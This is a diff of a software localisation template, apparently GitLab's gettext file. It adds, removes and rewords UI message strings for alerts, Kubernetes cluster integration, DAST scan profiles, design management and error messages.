msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
